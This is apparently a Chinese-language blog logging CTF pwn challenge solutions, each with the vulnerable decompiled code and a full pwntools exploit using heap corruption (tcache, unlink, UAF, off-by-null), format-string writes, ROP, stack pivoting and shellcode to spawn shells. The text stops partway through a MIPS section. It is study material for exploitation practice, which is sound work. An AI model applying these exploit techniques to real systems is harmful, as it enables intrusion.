前言

决定考研之后几乎就没做过题了,,已经回归菜鸡水平,

希望读研之后能抽空做一做pwn,这篇博客用来记录研究生之后做的题目,,

0x00 MTCTF note

libc-2.31 编辑时,idx可以输入负数,通过非法索引修改到栈的返回地址为system

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall sub_4014B6(__int64 a1)
{
int idx; // [rsp+14h] [rbp-Ch]
void *buf; // [rsp+18h] [rbp-8h]

printf("Index: ");
idx = input();
if ( idx > 16 || !*(_QWORD *)(16LL * idx + a1) )
return puts("Not allowed");
buf = *(void **)(16LL * idx + a1);
printf("Content: ");
return read(0, buf, *(int *)(16LL * idx + a1 + 8));
}

泄露libc基址,先free7个tcache,free一个unsortedbin,再申请一个小堆块分割unsortedbin,产生last_remainder,在小堆块中残留了libc地址可以打印。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
io = start()
def add(size,con):
sla("5. leave","1")
sla("Size:",str(size))
sa("Content:",con)

def show(idx):
sla("5. leave","2")
sla("Index:",str(idx))

def edit(idx,con):
sla("5. leave","3")
sla("Index:",str(idx))
sa("Content:",con)

def delete(idx):
sla("5. leave","4")
sla("Index:",str(idx))

for i in range(9):
add(0x100,"a")
for i in range(8):
delete(i)
add(0x10,b'a')
show(0)
libc_base = l64() - 0x1ecc61
info(hex(libc_base))

bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
info("systme:" + hex(system))
og = libc_base + 0xe3b34
pop_rdi = 0x00000000004017b3
ret = 0x000000000040101a
# rop = p64(0xdeadbeef) + p64(og)
rop = p64(0) + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system)
gdb.attach(io)
edit(-4,rop)

ia()

0x01 MTCTF 捉迷藏

libc-2.27 大量混淆数据,90%没用,重点观察栈中最后一个变量v345,找到相应的循环体

image-20221112164039689

逐层向上找,逆出题目逻辑,最后通过栈溢出覆盖返回地址。

特别记录的一点是, IDA中如下的代码,HIBYTE(), LOBYTE()的含义似乎有歧义

1
2
HIBYTE(v95) ^= 0x38u;
LOBYTE(v98) = v98 ^ 0xC6;

IDA中汇编是mov byte ptr [rbp+var_374+3], al,即取v95的最高位字节,LOBYTE()即取最低字节,而C/C++中并非如此,test.cpp如下,不知是IDA的反编译问题还是…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <Windows.h>
int main()
{
// i = 10241035(0x009c440b)
int i = 10241035;
WORD ih = HIWORD(i); // 取高16位
WORD il = LOWORD(i); // 取低16位

// result: 9c
std::cout << std::hex << "ih: " << ih << std::endl;
// result: 440b
std::cout << std::hex << "il: " << il << std::endl;

WORD bh = HIBYTE(i); // 取高8位
WORD bl = LOBYTE(i); // 取低8位
// result: 44
std::cout << std::hex << "ih: " << bh << std::endl;
// result: b
std::cout << std::hex << "il: " << bl << std::endl;
return EXIT_SUCCESS;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
io = start()
def f():
ret = ""
v104 = [0] * 42
z = "vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM"
v104[40] = 0x19
v104[32] = 0x92
v104[14] = 0xA4
v104[22] = 0xE6
v104[17] = 0x9A
v104[1] = 0x7F
v104[38] = 0x15
v104[0] = 0x3C
v104[31] = 0x34
v104[30] = 0x2B
v104[10] = 0x89
v104[26] = 0x98
v104[23] = 0xC6
v104[21] = 0x68
v104[34] = 0x8F
v104[25] = 0x5C
v104[12] = 0x5C
v104[27] = 0xEB
v104[35] = 0x42
v104[41] = 0xCC
v104[6] = 0x49
v104[16] = 0xA8
v104[7] = 0xA6
v104[29] = 0x4E
v104[3] = 0xE2
v104[13] = 0x31
v104[36] = 0x86
v104[11] = 0xA7
v104[18] = 0x75
v104[5] = 1
v104[39] = 0xC5
v104[9] = 0x93
v104[15] = 0x38
v104[24] = 0xC6
v104[2] = 0xFC
v104[20] = 0xC5
v104[19] = 0x23
v104[37] = 0xEB
v104[28] = 0xE0
v104[33] = 0x51
v104[4] = 0x59

for i in range(42):
ret += chr(v104[i] ^ ord(z[i]))

return ret

ru('sbAmJLMLWm')
for i in range(8):
sd("1 ")

ru('HuEqdjYtuWo')
sd("1"*51)

ru("hbsoMdIRWpYRqvfClb")
sd("1"*53)

ru("tfAxpqDQuTCyJw")
sd("1"*34)

ru("UTxqmFvmLy")
for i in range(3):
sd("1 ")
sd("9254 ")
sd("0 ")
for i in range(3):
sd("1 ")

ru("LLQPyLAOGJbnm")
sd(f())

ru("gRGKqIlcuj")
backdoor = 0x40132C
payload = b"1" * 0x17 +p64(backdoor) +p64(backdoor) + b"1" * (55 - 0x17 - 8-8)
sd(payload)
io.interactive()

0x02 DASCTF2209 cyberprinter

libc-2.31 保护全开,通过栈溢出可以泄露出libc基址,难点在于格式化字符串的利用

1
2
3
4
5
6
7
8
read(0, s, 0x80uLL);
if ( strchr(s, 'p') || strchr(s, 'P') || strchr(s, 'x') || strchr(s, 'X') )
{
puts("bad luck");
exit(-1);
}
printf(s);
puts("\nWhen you left,hope you can go wherever you want!");

一次fmtstr漏洞的利用,进行地址任意写,无法修改got表,只能寻找libc中可用可修改的函数。

先说本地测试成功的是修改__strlen_avx2()的libc中的got,首先进入puts函数,

image-20221110210222122

发现call *ABC*+0x9f630@plt,继续步入发现__strlen_avx2(),也就是说修改其指针指向onegadget,即可getshell

image-20221110210349569

在libc-2.31.so找到puts函数,可以找到plt和got的偏移,构造payload即可。

image-20220920225653497.png

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
io = start()
sla("name?pls..","a"*23)
libc_base = l64() - 0x1ed5c0
info(hex(libc_base))
# system = libc_base + libc.sym['system']
# start_main = libc_base + 0x21c87
og = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = libc_base + og[1]
libc_atexit = libc_base + 0x01E8898
rtld = libc_base + 0x22cf68
strlen = libc_base + 0x1EC0A8
tar = rtld
info("target: " + hex(tar))
info("one: " + hex(one_gadget))
payload = b""
written_size = 0
offset = 17

for i in range(6):
size = (one_gadget>>(8*i)) & 0xff
if(size > (written_size & 0xff)):
payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i).encode()
written_size += size - (written_size & 0xff)
else:
payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i).encode()
written_size += (0x100 - (written_size&0xff)) + size

payload=payload.ljust(0x48,b'a')
for i in range(6):
payload += p64(tar+i)

# gdb.attach(io)
sa("so you can't do sth",payload)

io.interactive()

两次失败的是尝试修改__libc_atexit和rtld_lock_default_lock_recursive

rtld_lock_default_lock_recursive,其定义于sysdeps/nptl/libc-lockP.h中,如下:

1
2
3
4
5
6
7
#ifdef SHARED
...
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)

而__libc_atexit是exit里存在函数指针,不详细记录了,具体逻辑可以在IDA里查看

1
RUN_HOOK (__libc_atexit, ());

image-20221112164122442

但是并没有成功,__libc_atexit甚至都没有改掉,这里挖坑先空着,之后回头解决。

0x02 DASCTF2209 appetizer

libc-2.31 程序开启沙盒和NX,首先通过构造栈帧绕过程序认证,再使用栈迁移加ROP使用ORW读出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
io = start()
sa("Let's check your identity",b'\x00\x00Nameless')
ru(b"Here you are:0x")
end = int(rl().strip(b'\n'),16)
pie = end - 0x4050
read_plt = pie + elf.plt['read']
write_plt = pie + elf.plt['write']
puts_plt = pie + elf.plt['puts']
puts_got = pie + elf.got['puts']
pop_rdi = pie + 0x00000000000014d3
pop_rsi_r15 = pie + 0x00000000000014d1
ret = pie + 0x000000000000101a
leave_ret = pie + 0x00000000000012d8
info(hex(end))

payload = p64(pop_rdi) + p64(1)+ p64(pop_rsi_r15) + \
p64(puts_got) + p64(0) + p64(write_plt) +p64(ret)*21 + p64(pie+0x1428)+\
p64(end-8) + p64(leave_ret)
payload = payload.ljust(0xf8,b"\x00")
payload += b"flag.txt"
sa("information on it",payload)

# gdb.attach(io)
sa("Tell me your wish:",p64(end-8) + p64(leave_ret))
libc_base = l64() - 0x84420
info(hex(libc_base))
open_= libc_base + libc.sym['open']
pop_rdx = libc_base + 0x0000000000142c92
pop_rsi = libc_base + 0x000000000002601f

payload = p64(pop_rdi) + p64(end+0xf8)+ p64(pop_rsi) + \
p64(0) + p64(open_)
payload += p64(pop_rdi) + p64(3)+ p64(pop_rsi) + \
p64(end+0x100) + p64(pop_rdx) + p64(0x30) + p64(read_plt)
payload += p64(pop_rdi) + p64(1)+ p64(write_plt)

sd(payload)
sl("ld1ng")
io.interactive()

0x03 DASCTF2209 bar

libc-2.31 libc基址白给,漏洞在于drink函数没有对堆块的检查,导致double free和UAF(似乎没用)

1
2
3
4
5
if ( !*(_QWORD *)list[v1] )
{
puts("run off");
free((void *)list[v1]);
}

首先塞满tcache,加两个unsortedbin(合并),再申请回一个tcache,bouble free后面的unsortedbin,这样unsortedbin块就进入了tcache,最后申请小块分割合并的大unsortedbin,使main_arena下移到tcache的fd指针。最后用drink函数修改main_arena为malloc_hook,getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
io = start()
def add(op,con):
sla("Your choice:","1")
sla("brandy or Vodka?",str(op))
sa("to the waiter:",con)
def free(idx,num):
sla("Your choice:","2")
sla("Which?",str(idx))
sla("How much?",str(num))

def leak():
sla("Your choice:","3")
ru("0x")
libc_base = int(rl().strip(b'\n'),16)
return libc_base

libc_base = leak() - 0x1ed6a0
info(hex(libc_base))
info(hex(libc_base + libc.sym['__malloc_hook']))
ogg = one_gadget()

for i in range(10):
add(0,'a')

for i in range(9):
free(i,0x100)

add(0,'b') #10
free(8,0)
add(1,'c') #11
add(1,'c') #12
add(2,'c') #13

free(8,0x80)
add(0,'d')#14

add(0,p64(ogg[1]))
# gdb.attach(io
add(0,"test\n")
ia()

0x04 DASCTF2209 cgrasstring

libc-2.27.so C++ STLstring类的resize很类似realloc,可以实现free功能。当resize是扩大当前string时,会delet掉原来的string,然后新建一个。

调试发现,同类大小堆块申请后tcache中会先放入一个同大小的堆块。先填满tcache,再free一个unsortedbin,由于存在UAF,所以直接打印main_arena,泄露出libc。由于内容resize机制,会将原内容cpy到新地址,而change的内容还是会写到旧堆块,所以之后修改tcache的fd为free_hook,将free_hook改为system,将idx8内容写为/bin/sh,当free(8)时,getshell。

ps:本地one_gadget测试一直不过,不清楚情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
io = start()
def add(size,con):
sla("Your choice:","1")
sla("size:",str(size))
sa("content:",con)

def change(idx,size,con):
sla("Your choice:","2")
sla("idx",str(idx))
sla("size",str(size))
sa("content",con)

def show(idx):
sla("Your choice:","3")
sla("idx",str(idx))

def getshell():
sla("Your choice:","2")
sla("idx",str(8))
sla("size",str(0x80))

for i in range(8):
add(0x80,'a')
for i in range(1,7):
change(i,0x90,'\xe0')

change(7,0x90,'\xe0')
show(7)
libc_base = l64() - 0x3ebce0
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
# malloc_hook = libc_base + libc.sym['__malloc_hook']
info(hex(free_hook))
# ogg = one_gadget()
# print(list(map(hex,ogg)))
system = libc_base + libc.sym['system']
add(0x20,b'/bin/sh\x00')
change(8,0x30,p64(free_hook))
add(0x20,p64(system))
# gdb.attach(io)
getshell()

ia()

0x05 GKCTF EscapeSH

libc-2.23,题目是一个模拟shell程序,可以逆向分析过程,总的分为打印菜单,获取路径,输入命令和执行四步,漏洞点在输入命令时,为分割后的命令分配堆,strcpy存在的off by null漏洞,值得注意的是IDA中strlen()的C反编译代码形式如下。

image-20221110211242042

另外在monitor命令中存在这样一个函数,dl_iterate_phdr((int (*)(struct dl_phdr_info *, size_t, void *))callback, “EscapeSh”),发现里面存在后门函数。

dl_iterate_phdr() 允许程序迭代它已加载的共享对象。回调函数对每个加载的共享对象调用一次,允许对每个共享对象执行一个操作。 callback 使用三个参数调用:

  1. 指向包含共享对象信息的dl_phdr_info类型结构的指针;
  2. 结构的整数大小;
  3. 以及dl_iterate_phdr()的data参数的副本。如果回调函数返回一个非零值, dl_iterate_phdr()将停止处理,即使有未处理的共享对象。处理顺序未指定。

dl_phdr_info 结构

1
2
3
4
5
6
struct dl_phdr_info {
  ElfW(Addr) dlpi_addr; /* 基地址 */
  const char* dlpi_name; /* 对象名 */
  const Elf(Phdr) *dlpi_phdr; /* 对象的elf头数组的指针*/
  ElfW(Half) dlpi_phnum; /* 头的数量 */
};
  • ElfW宏根据不同的硬件架构定义合适的elf数据类型,如32位平台就是Elf32_Addr.
  • ELF 共享对象包含一些数据段, 每个段都会有个程序头结构来描述这个段。

Elf32_Phdr :

1
2
3
4
5
6
7
8
9
10
typedef struct {
Elf32_Word p_type;
Elf32_Off p_offset; /* 段文件偏移 */
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz; /* segment size in file*/
Elf32_Word p_memsz; /* 段在内存大小 */
Elf32_Word p_flags; /* 段标志 */
Elf32_Word p_align; /* 段对齐值*/
} Elf32_Phdr;

其中需指出的是p_memsz大于或等于p_filesz, 这是因为,在内存中的段可能会存在.bass节, 由于这个放到磁盘会占用空间,所以在段加载到内存都会加上。

一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define _GNU_SOURCE

#include <link.h>
#include <stdlib.h>
#include <stdio.h>

static int
callback(struct dl_phdr_info *info , size_t size, void*data)
{
int j;
printf("name: %s (%d segemts)\n", info->dlpi_name, info->dlpi_phnum);
for( j =0; j< info->dlpi_phnum; j++){
printf ("\t\t header %2d: address = %10p\n",j,
(void*) (info->dlpi_addr + info->dlpi_phdr[j].p_vaddr));
// Dl_info dlinfo;
// dladdr((void*) (info->dlpi_addr + info->dlpi_phdr[j].p_vaddr), &dlinfo);
// printf("\t %s : %s\n", dlinfo.dli_fname, dlinfo.dli_sname);
}
return 0;
}

int main(int argc, char* argv[]){
dl_iterate_phdr(callback, NULL);
exit(EXIT_SUCCESS);
}

image-20221110213502442

所以可以通过dl_iterate_phdr 遍历程序当前加载的动态库,从而获取基地址,其中就包括libc。查看其偏移0x3c4b10可知为__malloc_hook,那么只要触发__malloc_hook的值为”monitor”即可执行后门函数。

image-20221110212508037

通过off by null 覆盖p位,构造堆块重叠,通过echo泄露libc基址,修改fd为mallochook附近,修改为”monitor”即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def cmd(*args):
payload = b''
for buf in args:
payload += buf
payload += b' '
sl(payload)
io = start()

cmd(b'a'*0x90,b'b'*0x60,b'c'*0xf0,b'd'*0x10)
# 前块为fastbin,p位不置0,因此需要设置presize和p位
for i in range(7):
cmd(b'a'*(0x68-i)) # prev_size

cmd(b'a'*0x60+b'\x10\x01')
cmd(b'a'*0xf0) # Unlink合并大堆块

cmd(b'a'*(0x100-1),b'b'*0x30,b'c'*0x30,b'd'*0x30,b'e'*0x30)
cmd(b'a'*0x9f)
for i in range(7):
cmd(p8(0x71)*(0x9f-i))

cmd(b"echo", b"a"*(0x5f),b"b"*(0x8f)) # leak

malloc_hook = l64()-88-0x10

cmd(b"a"*0xa7)
cmd(b"a"*0xa6) # 将fd指针的高位置零

cmd(b'a'*0xa0+p64(malloc_hook-0x23)[:-2])

for i in range(7):
cmd(b'q'*(0x9f-i)) # 布局重叠块

s(hex(malloc_hook))
cmd(b'monitor',b"a"*0x60,b"b"*0x13+b"monitor"+b"a"*0x45)
# gdb.attach(io)
ia()

0x06 GKCTF demo_catRoom

一道模拟客户端服务器的题目,简单的堆溢出,问题出在复制账号密码时,客户端发送的内容最长为0x68,但是服务器端会将其复制到大小为0x48的缓冲区。利用这一点可以覆盖存放admin密码的heap,然后修改密码或者更改admin用户名,然后登录admin用户,打印flag即可。难点是审计和有耐心去审server端代码。

image-20230225215539074

server端在刚开始的时候检测第一个用户有没有被注册,如果未注册,自动注册用户admin

image-20230225215744113

内存结构如下,由于存在溢出,可以修改tcachebin链,链接到admin的chunk上,从而修改admin的密码;或者最简单的是直接修改自己的用户名为admin

image-20230225215332153

exp使用修改密码的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def registe(name,passwd):
sla("0 exit \n","1")
sla("your name\n",name)
sla("passwd\n",passwd)

def login(name,passwd):
sla("0 exit \n","2")
sla("name\n",name)
sla("passwd\n",passwd)

def remove(name,passwd):
sla("0 exit \n","4")
sla("remove name\n",name)
sla("passwd\n",passwd)

registe("1",'1')
registe("2",'2')
registe("3",'3')
remove("1",'1')
remove("3",'3')
remove("2",'2')
registe("1",'2'*5*8+"\x40")
registe("2",'2')
registe("ld1ng","a")
login("admin","ld1ng")

ia()

0x07 GKCTF checkin

只能溢出8个字节,但是存在野生的双leave ret,可以栈迁移。

先泄露出puts的地址,然后第二次栈溢出返回one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pop_rdi = 0x0000000000401ab3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sa(">",b'admin\x00\x00\x00' + p64(pop_rdi) + p64(puts_got) + p64(0x00000000004018B5))
# gdb.attach(io)
sa('>',b'admin\x00\x00\x00'+b'a'*0x18+p64(0x0000000000602400))
libc_base = l64() - 0x80970
inf(libc_base)

binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base+libc.sym['system']
inf(system)
og = [0x4f2a5,0x4f302,0x10a2fc]
ogg = libc_base + og[1]
sa('>',b'admin\x00\x00\x00'*3 + p64(ogg))
sa('>',b'admin\x00\x00\x00'*4 + p64(0x0000000000602400))

ia()

0x08 ACTF parity

题目要求如下,用户输入一段shellcode,但添加了奇偶校验,shellcode必须符合奇数偶数交替的条件。

1
2
3
4
5
6
7
8
9
10
11
buf = mmap(0LL, 0x2000uLL, 7, 34, 0, 0LL);
v4 = read(0, buf, 0x2000uLL);
for ( i = 0; i < v4; ++i )
{
if ( (*((_BYTE *)buf + i) & 1) != i % 2 )
{
puts("bad shellcode!");
return 1;
}
}
((void (__fastcall *)(_QWORD))buf)(0LL);

其中系统调用syscall为0f 05 显然不符合奇偶交替的特点。

另一条路是再次执行read@plt(0x4010f4),重新对 buf 进行输入,因为 rip 接着 read 的触发继续执行,那么输入与制造 shellcode 等长的垃圾字符,继续输入 pwntools 自带的shellcode即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
check=lambda code:list(map(lambda s:s&1, code))
shellcode = asm('''
// 0 1 0 1
xor rax,3
// 0 1 0
inc rax
// 1
cdq
// 0 1 0 1
shl rax,7
// 0 1 0
shl rax,1
// 1
cdq
// 0 1 0
inc rax
// 1
cdq
// 0 1 0 1
shl rax,7
// 0 1 0
shl rax,1
// 1
cdq
// 0 1 0 1
xor rax,0xf
// 0 1 0 1
shl rax,3
// 0 1 0
shl rax,1
// 1
cdq
// 0 1 0 1
xor rax,3
// 0 1 0
inc rax
// 1
cdq
// 0 1 0 1
xor rdx,0x71
// 0
nop
// 1 0
call rax
''')
print(check(shellcode))
# print(hexdump(shellcode))
print(len(shellcode))
sd(shellcode)
# sleep(5)
gdb.attach(io,'b *0x000004012F5')
payload = fit({len(shellcode): asm(shellcraft.sh())})
print(hexdump(payload))
sd(payload)
ia()

read的效果

image-20230226165151367

0x09 ACTF dreams

漏洞还是很好找的,在free的时候没有将指针清零,存在UAF,可以edit和show。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sell()
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("You've come to sell your dreams.");
printf("Which one are you trading in? ");
idx = 0;
__isoc99_scanf("%d", &idx);
getchar();
if ( idx >= MAX_DREAMS || idx < 0 )
{
puts("Out of bounds!");
exit(1);
}
puts("You let it go. Suddenly you feel less burdened... less restrained... freed. At last.");
free(*(void **)(8LL * idx + dreams));
puts("Your money? Pfft. Get out of here.");
return __readfsqword(0x28u) ^ v2;

利用方法就是多次修改tcache链,首先由于只能add5次,所以先修改到MAX_DREAMS变量处,将它修改为一个较大的值,之后将tcache改为free函数的地址,申请出来后就可以show出来,泄露出libc基址;之后再次修改为freehook地址,将freehook改为ogg即可。

好久没写这么丑的exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def add(idx,date,con="bbbb"):
sla("3. Visit a psychiatrist","1")
sla("loses its grip.",str(idx))
# sl(date)
# sl(con)
sla("(mm/dd/yy))?",date)
sla("you dream about?",con)

def delete(idx):
sla("3. Visit a psychiatrist","2")
sla("sell your dreams.",str(idx))

def show_edit(idx,con):
sla("3. Visit a psychiatrist","3")
sla("decipher your dream.",str(idx))
sla("I don't make the rules. Or do I?",con)

add(1,'aaaa')
add(2,'bbbb')
delete(1)
delete(2)
show_edit(2,p64(0x0000000000404008))
delete(1)

add(3,'cccc')
add(0,'dddd')
add(4,'aaaa',p64(0x9999))

# sl("3")
# sla("your dream.",str(0))
# sla("I don't make the rules. Or do I?",p64(0x0000403F88))
show_edit(0,p64(0x0000403F88))
sla("3. Visit a psychiatrist","3")
sla("decipher your dream.",str(526))
libc_base = l64() - 0x80970
info(hex(libc_base))

og = [0x4f2a5,0x4f302,0x10a2fc]
ogg = libc_base + og[1]
free_hook = libc_base + libc.sym["__free_hook"]
info(hex(free_hook))
io.recv()
sl("1")
# sl('zzzz')
# sl('zzzz')
# sl('zzzz')

# sla("3. Visit a psychiatrist","1")
sl("7")
sl("7")
sl("7")
sla("3. Visit a psychiatrist","1")
sl("8")
sl("8")
sl("8")
# add(7,'7')
# add(8,'8')
delete(7)
delete(8)

show_edit(8,p64(free_hook))

sla("3. Visit a psychiatrist","1")
sl("9")
sl("9")
sl("9")

sla("3. Visit a psychiatrist","1")
sl("10")
sl(p64(ogg))
# sl("10")

delete(9)
# gdb.attach(io)
ia()

0x0A [Xman]level6_x64

free时没有检查标志位,并且没有清空指针,所以可以在已经free的状态下再次free

edit时可以自定义任意大小堆块,所以造成溢出

流程:

  1. edit溢出泄露堆地址,进而得到全局heap_list地址
  2. unlink,进而可以控制修改heap_list
  3. 将heap_list中的堆指针改为atoi的got表,show出来泄露libc地址
  4. 修改got表为og(或修改system,add时idx为’/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
io = start()

def add(con):
sla("choice:","2")
sla("new note:",str(len(con)))
sa("Enter your note:",con)

def edit(idx,con):
sla("choice:","3")
sla("Note number:",str(idx))
sla("Length of note:",str(len(con)))
sa("Enter your note:",con)

def show():
sla("choice","1")

def delete(idx):
sla("choice","4")
sla("Note number:",str(idx))
# leak heap base
add("a"*0x80)
add("a"*0x80)
add("a"*0x80)
add("a"*0x80)
add("a"*0x80)
delete(3)
delete(1)
edit(0,'b'*0x90)
show()
ru('b'*0x90)
heap_base = uu64(rl().strip(b'\n')) -0x19c0 +0x20
inf(heap_base)
#unlink
payload = p64(0) + p64(0x80) + p64(heap_base -3*8) + p64(heap_base-2*8)
payload = payload.ljust(0x80,b'a')
payload += p64(0x80) +p64(0x90)
payload = payload.ljust(0x100,b'b')
edit(0,payload)
delete(1)
#leak libc base
payload2 = p64(2) + p64(1) +p64(0x100)+ p64(heap_base) + p64(1)+p64(8)+p64(elf.got['atoi'])
payload2 = payload2.ljust(0x100,b'c')
edit(0,payload2)
show()
libc_base = l64() - 0x39ea0
inf(libc_base)
# modify atoi_got to og
og = one_gadget(libc_base)[3]
edit(1,p64(og))

sla("choice:","2")
# gdb.attach(io)

ia()

0x0B Item Board

free时没有清空指针,存在UAF,可以从unsortedbin中show出libc地址

然后就是类似堆风水,fastbin先进后出,del 1;del 2;再次add时,定义description的大小为1的item大小,便能控制到1 item的结构体,修改函数指针为system即可

方法二是没有对大小进行限制,超过buf的大小造成栈溢出,注意rbp-8的位置需要构造假的结构体指针。

image-20230420170949407

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
io = start()
def add(len,con):
sla("choose:","1")
sla("Item name?",'z')
sla("Description's len?",str(len))
sla("Description?",con)

def listt():
sla("choice:","2")

def show(idx):
sla("choose:","3")
sla("Which item?",str(idx))

def delete(idx):
sla("choose:","4")
sla("Which item?",str(idx))

add(128,'a'*128)
add(128,'a'*128)
add(128,'a'*128)
delete(0)
show(0)
libc_base = l64() - 0x3c27b8
inf(libc_base)
# og = one_gadget(libc_base)[0]
system = libc_base + libc.sym['system']

delete(1)
add(24,b'/bin/sh;'.ljust(0x10,b' ')+p64(system))
delete(0)

# =================================================
# pop_rdi = libc_base + 0x0000000000022b9a
# strbin = libc_base + libc.search(b'/bin/sh\x00').__next__()
# payload = b'a'*1032 + p64(libc_base + 0x3c27b0) + b'a'*8 + p64(pop_rdi) + p64(strbin) + p64(system)
# add(len(payload),payload)
# gdb.attach(io)
ia()

0x0C typo

arm32架构,补充一些arm基础知识

1
2
3
4
5
6
7
8
9
R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
R7寄存器在函数调用中负责存储系统调用号
R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
R13寄存器SP(堆栈指针)指向堆栈的顶部
R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。

其中R0 ~ R3是用来依次传递参数的,相当于x64下的rdi, rsi, rdx,R0还被用于存储函数的返回值,R7常用来存放系统调用号,R11是栈帧,相当于ebp,在arm中也被叫作FP,R13是栈顶,相当于esp,在arm中也被叫作SP,R14(LP)是用来存放函数的返回地址的,R15相当于eip,在arm中被叫作PC,但是在程序运行的过程中,PC存储着当前指令往后两条指令的位置,在arm架构中并不是像x86_64那样用ret返回,而是直接pop {PC}。

d5b0775f7b7168d5ad8fa89244799b09

f1499bbf6081792ce4201b558ce0a532

这里存在栈溢出,寻找gadget pop{r0,r4,pc},有binsh和system,进行rop即可。

1
2
3
4
pop_pc = 0x00020904
payload = b'a'*112 + p32(pop_pc) + p32(0x0006C384) + p32(0) + p32(0x110B4)
sl('')
sl(payload)

0x0D Add

学习MIPS架构基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int main(void)

{
int iVar1;
long lVar2;
long lVar3;
char *pcVar4;
uint uVar5;
char challenge [10];
char buf [64];

setvbuf(stdout,(char *)0x0,2,0);
puts("[calc]");
puts("Type \'help\' for help.");
srand(0x123456);
iVar1 = rand();
sprintf(challenge,"%d",iVar1);
uVar5 = 0x80;
pcVar4 = buf;
do {
if (uVar5 < 2) break;
LAB_00400984:
iVar1 = _IO_getc(stdin);
if (iVar1 < 0) goto LAB_00400ad4;
LAB_004009a4:
*pcVar4 = (char)iVar1;
uVar5 = uVar5 - 1;
pcVar4 = pcVar4 + 1;
} while (iVar1 != 10);
if (uVar5 == 0) goto LAB_004009c0;
do {
*pcVar4 = '\0';
LAB_004009c0:
pcVar4 = strchr(buf,10);
if (pcVar4 != (char *)0x0) {
*pcVar4 = '\0';
}
iVar1 = strcmp(buf,"help");
if (iVar1 == 0) {
pcVar4 = "Type \'exit\' to exit.";
LAB_00400b18:
puts(pcVar4);
puts("Input 2 numbers just like:");
puts("1 2");
}
else {
iVar1 = strcmp(buf,"exit");
if (iVar1 == 0) {
puts("Exiting...");
return 0;
}
iVar1 = strcmp(buf,challenge);
if (iVar1 == 0) {
printf("Your input was %p\n",buf);
uVar5 = 0x80;
pcVar4 = buf;
goto LAB_00400984;
}
pcVar4 = strchr(buf,0x20);
if (pcVar4 == (char *)0x0) {
pcVar4 = "Error!";
goto LAB_00400b18;
}
lVar2 = strtol(buf,(char **)0x0,10);
